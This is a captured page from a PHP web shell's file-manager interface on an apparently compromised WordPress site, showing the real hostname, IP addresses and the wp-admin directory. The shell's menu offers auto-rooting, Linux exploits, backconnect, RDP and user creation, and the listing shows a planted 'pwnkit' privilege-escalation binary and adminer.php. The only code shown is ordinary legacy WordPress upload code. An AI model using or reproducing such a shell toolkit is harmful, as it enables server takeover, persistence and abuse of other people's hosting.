Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.128
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
ZOUERATE.COM /
bouteilles /
wp-admin /
[ HOME SHELL ]
Name
Size
Permission
Action
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
import
[ DIR ]
drwxr-xr-x
includes
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
admin-ajax.php
17.7
KB
-rwxr--r--
admin-db.php
14.22
KB
-rwxr--r--
admin-footer.php
571
B
-rwxr--r--
admin-functions.php
182
B
-rwxr--r--
admin-header.php
6.46
KB
-rwxr--r--
admin-post.php
432
B
-rwxr--r--
admin.php
2.99
KB
-rwxr--r--
adminer.php
465.43
KB
-rw-r--r--
async-upload.php
1.38
KB
-rwxr--r--
bookmarklet.php
2.25
KB
-rwxr--r--
cat-js.php
839
B
-rwxr--r--
categories.js
726
B
-rwxr--r--
categories.php
5.34
KB
-rwxr--r--
comment.php
6.82
KB
-rwxr--r--
custom-fields.js
1.27
KB
-rwxr--r--
custom-header.php
11.41
KB
-rwxr--r--
dbx-admin-key-js.php
3.15
KB
-rwxr--r--
edit-attachment-rows.php
4.14
KB
-rwxr--r--
edit-category-form.php
2.99
KB
-rwxr--r--
edit-comments.js
999
B
-rwxr--r--
edit-comments.php
8.24
KB
-rwxr--r--
edit-form-advanced.php
18.17
KB
-rwxr--r--
edit-form-comment.php
4.34
KB
-rwxr--r--
edit-form.php
3.04
KB
-rwxr--r--
edit-link-categories.php
4.55
KB
-rwxr--r--
edit-link-category-form.php
2.16
KB
-rwxr--r--
edit-link-form.php
14.59
KB
-rwxr--r--
edit-page-form.php
14.43
KB
-rwxr--r--
edit-pages.php
7.14
KB
-rwxr--r--
edit-post-rows.php
5.9
KB
-rwxr--r--
edit-tag-form.php
1.86
KB
-rwxr--r--
edit-tags.php
4.8
KB
-rwxr--r--
edit.php
7.76
KB
-rwxr--r--
export.php
1.43
KB
-rwxr--r--
gears-manifest.php
10.9
KB
-rwxr--r--
import.php
1.41
KB
-rwxr--r--
index-extra.php
514
B
-rwxr--r--
index.php
5.94
KB
-rwxr--r--
install-helper.php
4.05
KB
-rwxr--r--
install-rtl.css
144
B
-rwxr--r--
install.css
613
B
-rwxr--r--
install.php
4.17
KB
-rwxr--r--
link-add.php
691
B
-rwxr--r--
link-category.php
2.22
KB
-rwxr--r--
link-import.php
3.94
KB
-rwxr--r--
link-manager.php
7.33
KB
-rwxr--r--
link-parse-opml.php
1.72
KB
-rwxr--r--
link.php
2.34
KB
-rwxr--r--
media-upload.php
1.11
KB
-rwxr--r--
media.php
2.96
KB
-rwxr--r--
menu-header.php
5.78
KB
-rwxr--r--
menu.php
6.47
KB
-rwxr--r--
moderation.php
100
B
-rwxr--r--
options-discussion.php
8.01
KB
-rwxr--r--
options-general.php
6.02
KB
-rwxr--r--
options-head.php
230
B
-rwxr--r--
options-misc.php
3.86
KB
-rwxr--r--
options-permalink.php
7.62
KB
-rwxr--r--
options-privacy.php
1.32
KB
-rwxr--r--
options-reading.php
3.56
KB
-rwxr--r--
options-writing.php
6.66
KB
-rwxr--r--
options.php
2.73
KB
-rwxr--r--
page-new.php
916
B
-rwxr--r--
page.php
5.2
KB
-rwxr--r--
plugin-editor.php
5.17
KB
-rwxr--r--
plugins.php
14.44
KB
-rwxr--r--
post-new.php
1.4
KB
-rwxr--r--
post.php
5.57
KB
-rwxr--r--
press-this.php
20.24
KB
-rwxr--r--
profile-update.php
524
B
-rwxr--r--
profile.php
73
B
-rwxr--r--
pwnkit
10.99
KB
-rwxr-xr-x
revision.php
6.03
KB
-rwxr--r--
rtl.css
7.32
KB
-rwxr--r--
setup-config.php
6.09
KB
-rwxr--r--
sidebar.php
2.56
KB
-rwxr--r--
templates.php
4.64
KB
-rwxr--r--
theme-editor.php
5.73
KB
-rwxr--r--
themes.php
6.89
KB
-rwxr--r--
update-links.php
1.39
KB
-rwxr--r--
update.php
6.86
KB
-rwxr--r--
upgrade-functions.php
188
B
-rwxr--r--
upgrade-schema.php
14.13
KB
-rwxr--r--
upgrade.php
2.25
KB
-rwxr--r--
upload-functions.php
12.91
KB
-rwxr--r--
upload-js.php
11.93
KB
-rwxr--r--
upload-rtl.css
765
B
-rwxr--r--
upload.css
3.15
KB
-rwxr--r--
upload.php
7.95
KB
-rwxr--r--
user-edit.php
11.33
KB
-rwxr--r--
users.js
845
B
-rwxr--r--
users.php
13.97
KB
-rwxr--r--
widgets.php
11.23
KB
-rwxr--r--
wp-admin.css
24.91
KB
-rwxr--r--
xfn.js
1.26
KB
-rwxr--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : upload-functions.php
<?php function wp_upload_display( $dims = false, $href = '' ) { global $post; $id = get_the_ID(); $attachment_data = wp_get_attachment_metadata( $id ); $is_image = (int) wp_attachment_is_image(); if ( !isset($attachment_data['width']) && $is_image ) { if ( $image_data = getimagesize( get_attached_file( $id ) ) ) { $attachment_data['width'] = $image_data[0]; $attachment_data['height'] = $image_data[1]; wp_update_attachment_metadata( $id, $attachment_data ); } } if ( isset($attachment_data['width']) ) list($width,$height) = wp_shrink_dimensions($attachment_data['width'], $attachment_data['height'], 171, 128); ob_start(); the_title(); $post_title = attribute_escape(ob_get_contents()); ob_end_clean(); $post_content = apply_filters( 'content_edit_pre', $post->post_content ); $class = 'text'; $innerHTML = get_attachment_innerHTML( $id, false, $dims ); if ( $image_src = get_attachment_icon_src() ) { $image_rel = wp_make_link_relative($image_src); $innerHTML = ' ' . str_replace($image_src, $image_rel, $innerHTML); $class = 'image'; } $src_base = wp_get_attachment_url(); $src = wp_make_link_relative( $src_base ); $src_base = str_replace($src, '', $src_base); $r = ''; if ( $href ) $r .= "<a id='file-link-$id' href='$href' title='$post_title' class='file-link $class'>\n"; if ( $href || $image_src ) $r .= "\t\t\t$innerHTML"; if ( $href ) $r .= "</a>\n"; $r .= "\n\t\t<div class='upload-file-data'>\n\t\t\t<p>\n"; $r .= "\t\t\t\t<input type='hidden' name='attachment-url-$id' id='attachment-url-$id' value='$src' />\n"; $r .= "\t\t\t\t<input type='hidden' name='attachment-url-base-$id' id='attachment-url-base-$id' value='$src_base' />\n"; if ( !$thumb_base = wp_get_attachment_thumb_url() ) $thumb_base = wp_mime_type_icon(); if ( $thumb_base ) { $thumb_rel = wp_make_link_relative( $thumb_base ); $thumb_base = str_replace( $thumb_rel, '', $thumb_base ); $r .= "\t\t\t\t<input type='hidden' name='attachment-thumb-url-$id' id='attachment-thumb-url-$id' value='$thumb_rel' />\n"; $r .= "\t\t\t\t<input type='hidden' name='attachment-thumb-url-base-$id' id='attachment-thumb-url-base-$id' value='$thumb_base' />\n"; } $r .= "\t\t\t\t<input type='hidden' name='attachment-is-image-$id' id='attachment-is-image-$id' value='$is_image' />\n"; if ( isset($width) ) { $r .= "\t\t\t\t<input type='hidden' name='attachment-width-$id' id='attachment-width-$id' value='$width' />\n"; $r .= "\t\t\t\t<input type='hidden' name='attachment-height-$id' id='attachment-height-$id' value='$height' />\n"; } $r .= "\t\t\t\t<input type='hidden' name='attachment-page-url-$id' id='attachment-page-url-$id' value='" . get_attachment_link( $id ) . "' />\n"; $r .= "\t\t\t\t<input type='hidden' name='attachment-title-$id' id='attachment-title-$id' value='$post_title' />\n"; $r .= "\t\t\t\t<input type='hidden' name='attachment-description-$id' id='attachment-description-$id' value='$post_content' />\n"; $r .= "\t\t\t</p>\n\t\t</div>\n"; return $r; } function wp_upload_view() { global $style, $post_id, $style; $id = get_the_ID(); $attachment_data = wp_get_attachment_metadata( $id ); ?> <div id="upload-file"> <div id="file-title"> <h2><?php if ( !isset($attachment_data['width']) && 'inline' != $style ) echo "<a href='" . wp_get_attachment_url() . "' title='" . __('Direct link to file') . "'>"; the_title(); if ( !isset($attachment_data['width']) && 'inline' != $style ) echo '</a>'; ?></h2> <span><?php echo '[ '; echo '<a href="' . get_permalink() . '">' . __('view') . '</a>'; echo ' | '; echo '<a href="' . attribute_escape(add_query_arg('action', 'edit')) . '" title="' . __('Edit this file') . '">' . __('edit') . '</a>'; echo ' | '; echo '<a href="' . attribute_escape(remove_query_arg(array('action', 'ID'))) . '" title="' . __('Browse your files') . '">' . __('cancel') . '</a>'; echo ' ]'; ?></span> </div> <div id="upload-file-view" class="alignleft"> <?php if ( isset($attachment_data['width']) && 'inline' != $style ) echo "<a href='" . wp_get_attachment_url() . "' title='" . __('Direct link to file') . "'>"; echo wp_upload_display( array(171, 128) ); if ( isset($attachment_data['width']) && 'inline' != $style ) echo '</a>'; ?> </div> <?php the_attachment_links( $id ); ?> </div> <?php echo "<form action='' id='browse-form'><input type='hidden' id='nonce-value' value='" . wp_create_nonce( 'inlineuploading' ) . "' /></form>\n"; } function wp_upload_form() { $id = get_the_ID(); global $post_id, $tab, $style; $enctype = $id ? '' : ' enctype="multipart/form-data"'; ?> <form<?php echo $enctype; ?> id="upload-file" method="post" action="<?php echo get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=upload&post_id=$post_id"; ?>"> <?php if ( $id ) : $attachment = get_post_to_edit( $id ); $attachment_data = wp_get_attachment_metadata( $id ); ?> <div id="file-title"> <h2><?php if ( !isset($attachment_data['width']) && 'inline' != $style ) echo "<a href='" . wp_get_attachment_url() . "' title='" . __('Direct link to file') . "'>"; the_title(); if ( !isset($attachment_data['width']) && 'inline' != $style ) echo '</a>'; ?></h2> <span><?php echo '[ '; echo '<a href="' . get_permalink() . '">' . __('view') . '</a>'; echo ' | '; echo '<a href="' . attribute_escape(add_query_arg('action', 'view')) . '">' . __('links') . '</a>'; echo ' | '; echo '<a href="' . attribute_escape(remove_query_arg(array('action','ID'))) . '" title="' . __('Browse your files') . '">' . __('cancel') . '</a>'; echo ' ]'; ?></span> </div> <div id="upload-file-view" class="alignleft"> <?php if ( isset($attachment_data['width']) && 'inline' != $style ) echo "<a href='" . wp_get_attachment_url() . "' title='" . __('Direct link to file') . "'>"; echo wp_upload_display( array(171, 128) ); if ( isset($attachment_data['width']) && 'inline' != $style ) echo '</a>'; ?> </div> <?php endif; ?> <table><col /><col class="widefat" /> <?php if ( $id ): ?> <tr> <th scope="row"><label for="url"><?php _e('URL'); ?></label></th> <td><input type="text" id="url" class="readonly" value="<?php echo wp_get_attachment_url(); ?>" readonly="readonly" /></td> </tr> <?php else : ?> <tr> <th scope="row"><label for="upload"><?php _e('File'); ?></label></th> <td><input type="file" id="upload" name="image" /></td> </tr> <?php endif; ?> <tr> <th scope="row"><label for="post_title"><?php _e('Title'); ?></label></th> <td><input type="text" id="post_title" name="post_title" value="<?php echo $attachment->post_title; ?>" /></td> </tr> <tr> <th scope="row"><label for="post_content"><?php _e('Description'); ?></label></th> <td><textarea name="post_content" id="post_content"><?php echo $attachment->post_content; ?></textarea></td> </tr> <tr id="buttons" class="submit"> <td colspan='2'> <?php if ( $id ) : ?> <input type="submit" name="delete" id="delete" class="delete alignleft" value="<?php _e('Delete File'); ?>" /> <?php endif; ?> <input type="hidden" name="from_tab" value="<?php echo $tab; ?>" /> <input type="hidden" name="action" value="<?php echo $id ? 'save' : 'upload'; ?>" /> <?php if ( $post_id ) : ?> <input type="hidden" name="post_id" value="<?php echo $post_id; ?>" /> <?php endif; if ( $id ) : ?> <input type="hidden" name="ID" value="<?php echo $id; ?>" /> <?php endif; ?> <?php wp_nonce_field( 'inlineuploading' ); ?> <div class="submit"> <input type="submit" value="<?php $id ? _e('Save') : _e('Upload'); ?> »" /> </div> </td> </tr> </table> </form> <?php } function wp_upload_tab_upload() { wp_upload_form(); } function wp_upload_tab_upload_action() { global $action; if ( isset($_POST['delete']) ) $action = 'delete'; switch ( $action ) : case 'upload' : global $from_tab, $post_id, $style; if ( !$from_tab ) $from_tab = 'upload'; check_admin_referer( 'inlineuploading' ); global $post_id, $post_title, $post_content; if ( !current_user_can( 'upload_files' ) ) wp_die( __('You are not allowed to upload files.') . " <a href='" . get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=browse-all&post_id=$post_id'>" . __('Browse Files') . '</a>' ); $overrides = array('action'=>'upload'); $file = wp_handle_upload($_FILES['image'], $overrides); if ( isset($file['error']) ) wp_die($file['error'] . "<br /><a href='" . get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=$from_tab&post_id=$post_id'>" . __('Back to Image Uploading') . '</a>' ); $url = $file['url']; $type = $file['type']; $file = $file['file']; $filename = basename($file); // Construct the attachment array $attachment = array( 'post_title' => $post_title ? $post_title : $filename, 'post_content' => $post_content, 'post_type' => 'attachment', 'post_parent' => $post_id, 'post_mime_type' => $type, 'guid' => $url ); // Save the data $id = wp_insert_attachment($attachment, $file, $post_id); wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); wp_redirect( get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=browse&action=view&ID=$id&post_id=$post_id"); die; break; case 'save' : global $from_tab, $post_id, $style; if ( !$from_tab ) $from_tab = 'upload'; check_admin_referer( 'inlineuploading' ); wp_update_post($_POST); wp_redirect( get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=$from_tab&post_id=$post_id"); die; break; case 'delete' : global $ID, $post_id, $from_tab, $style; if ( !$from_tab ) $from_tab = 'upload'; check_admin_referer( 'inlineuploading' ); if ( !current_user_can('edit_post', (int) $ID) ) wp_die( __('You are not allowed to delete this attachment.') . " <a href='" . get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=$from_tab&post_id=$post_id'>" . __('Go back') . '</a>' ); wp_delete_attachment($ID); wp_redirect( get_option('siteurl') . "/wp-admin/upload.php?style=$style&tab=$from_tab&post_id=$post_id" ); die; break; endswitch; } add_action( 'upload_files_upload', 'wp_upload_tab_upload_action' ); function wp_upload_grab_attachments( $obj ) { $obj->is_attachment = true; } function wp_upload_posts_where( $where ) { global $post_id; return $where . " AND post_parent = '" . (int) $post_id . "'"; } function wp_upload_tab_browse() { global $wpdb, $action, $paged; $old_vars = compact( 'paged' ); switch ( $action ) : case 'edit' : case 'view' : global $ID; $attachments = query_posts("attachment_id=$ID"); if ( have_posts() ) : while ( have_posts() ) : the_post(); 'edit' == $action ? wp_upload_form() : wp_upload_view(); endwhile; endif; break; default : global $tab, $post_id, $style; add_action( 'pre_get_posts', 'wp_upload_grab_attachments' ); if ( 'browse' == $tab && $post_id ) add_filter( 'posts_where', 'wp_upload_posts_where' ); $attachments = query_posts("what_to_show=posts&posts_per_page=10&paged=$paged"); $count_query = "SELECT COUNT(*) FROM $wpdb->posts WHERE post_type = 'attachment'"; if ( $post_id ) $count_query .= " AND post_parent = '$post_id'"; $total = $wpdb->get_var($count_query); echo "<ul id='upload-files'>\n"; if ( have_posts() ) : while ( have_posts() ) : the_post(); $href = wp_specialchars( add_query_arg( array( 'action' => 'inline' == $style ? 'view' : 'edit', 'ID' => get_the_ID()) ), 1 ); echo "\t<li id='file-"; the_ID(); echo "' class='alignleft'>\n"; echo wp_upload_display( array(128,128), $href ); echo "\t</li>\n"; endwhile; else : echo "\t<li>" . __('There are no attachments to show.') . "</li>\n"; endif; echo "</ul>\n\n"; echo "<form action='' id='browse-form'><input type='hidden' id='nonce-value' value='" . wp_create_nonce( 'inlineuploading' ) . "' /></form>\n"; break; endswitch; extract($old_vars); } function wp_upload_tab_browse_action() { global $style; if ( 'inline' == $style ) wp_enqueue_script('upload'); } add_action( 'upload_files_browse', 'wp_upload_tab_browse_action' ); add_action( 'upload_files_browse-all', 'wp_upload_tab_browse_action' ); function wp_upload_admin_head() { global $wp_locale; echo "<link rel='stylesheet' href='" . get_option('siteurl') . '/wp-admin/upload.css?version=' . get_bloginfo('version') . "a' type='text/css' />\n"; if ( 'rtl' == $wp_locale->text_direction ) echo "<link rel='stylesheet' href='" . get_option('siteurl') . '/wp-admin/upload-rtl.css?version=' . get_bloginfo('version') . "a' type='text/css' />\n"; if ( 'inline' == @$_GET['style'] ) { echo "<style type='text/css' media='screen'>\n"; echo "\t#upload-menu { position: absolute; z-index: 2; }\n"; echo "\tbody > #upload-menu { position: fixed; }\n"; echo "\t#upload-content { top: 2em; }\n"; echo "\t#upload-file { position: absolute; top: 15px; }\n"; echo "</style>"; } }
Close